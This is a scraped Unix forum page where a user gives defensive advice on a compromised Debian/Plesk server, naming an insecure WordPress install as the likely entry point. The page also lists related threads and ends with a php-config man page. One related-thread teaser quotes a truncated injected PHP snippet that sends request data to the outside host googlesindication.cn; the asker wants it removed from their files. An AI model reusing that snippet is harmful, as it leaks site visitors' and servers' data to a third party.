Malicious perl script Post: 302992367

Sponsored Content

Operating Systems Linux Debian Malicious perl script Post 302992367 by drysdalk on Friday 24th of February 2017 08:04:19 AM

02-24-2017

Registered User

Hi,

Ah, WordPress. So many times I've seen compromised sites and servers that began with an incorrectly-configured, inadequately-secured or out-of-date WordPress install. Seeing 'php-cgi' by itself isn't necessarily sinister. WordPress is PHP based, and so any page you access will certainly spawn a PHP process somehow.

If your server is running Plesk (and from the 'sw-engine-fpm' process in one of your earlier process lists I'm pretty sure it must be), then this is a fairly standard way for Plesk to deal with PHP requests. Any request for a page that needs PHP to handle it will result in a 'php-cgi' process being spawned by Plesk, if it's configured to handle PHP in its usual way.

But I'd definitely start with that WordPress install, in terms of a suspect. At a bare minimum ensure it's up-to-date, that all its plugins are up-to-date (and that they are all legitimate and not malicious or suspicious plugins), that all your WordPress users and admins are ones you actually expect to exist , that they all have good strong passwords set, and so on and so forth. Pay very close attention to anything that allows file uploads in particular. Having anything that allows uploads of any sort without a username and password being required is a disaster waiting to happen, pretty much.

drysdalk

View Public Profile for drysdalk

Find all posts by drysdalk

7 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ...

2. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated...

3. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -...

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From parent.pl $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl child.pl $input1 $input2"); and `perl...

5. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"...

6. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account

7. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not...

LEARN ABOUT DEBIAN

php-config

php-config(1)                                                   Scripting Language                                                   php-config(1)

NAME

       php-config - get information about PHP configuration and compile options

SYNOPSIS

       php-config [options]

DESCRIPTION

       php-config is a simple shell script for obtaining information about installed PHP configuration.

OPTIONS

       --prefix       Directory prefix where PHP is installed, e.g. /usr/local
       --includes     List of -I options with all include files
       --ldflags      LD Flags which PHP was compiled with
       --libs         Extra libraries which PHP was compiled with
       --man-dir      The directory prefix where the manpages is installed
       --extension-dir
                      Directory where extensions are searched by default
       --include-dir  Directory prefix where header files are installed by default
       --php-binary   Full path to php CLI or CGI binary
       --php-sapis    Show all SAPI modules installed on the Debian system
       --configure-options
                      Configure options to recreate configuration of current PHP installation
       --version      PHP version
       --vernum       PHP version as integer

SEE ALSO

       php(1)

VERSION INFORMATION

       This manpage describes php, version 7.0.33-6+ubuntu18.04.1+deb.sury.org+3.

COPYRIGHT

       Copyright (C) 1997-2017 The PHP Group

       This  source  file  is  subject to version 3.01 of the PHP license, that is bundled with this package in the file LICENSE, and is available
       through the world-wide-web at the following url:
       http://www.php.net/license/3_01.txt

       If you did not receive a copy of the PHP license and  are  unable  to  obtain  it  through  the  world-wide-web,  please  send  a  note  to
       license@php.net so we can mail you a copy immediately.

The PHP Group                                                          2017                                                          php-config(1)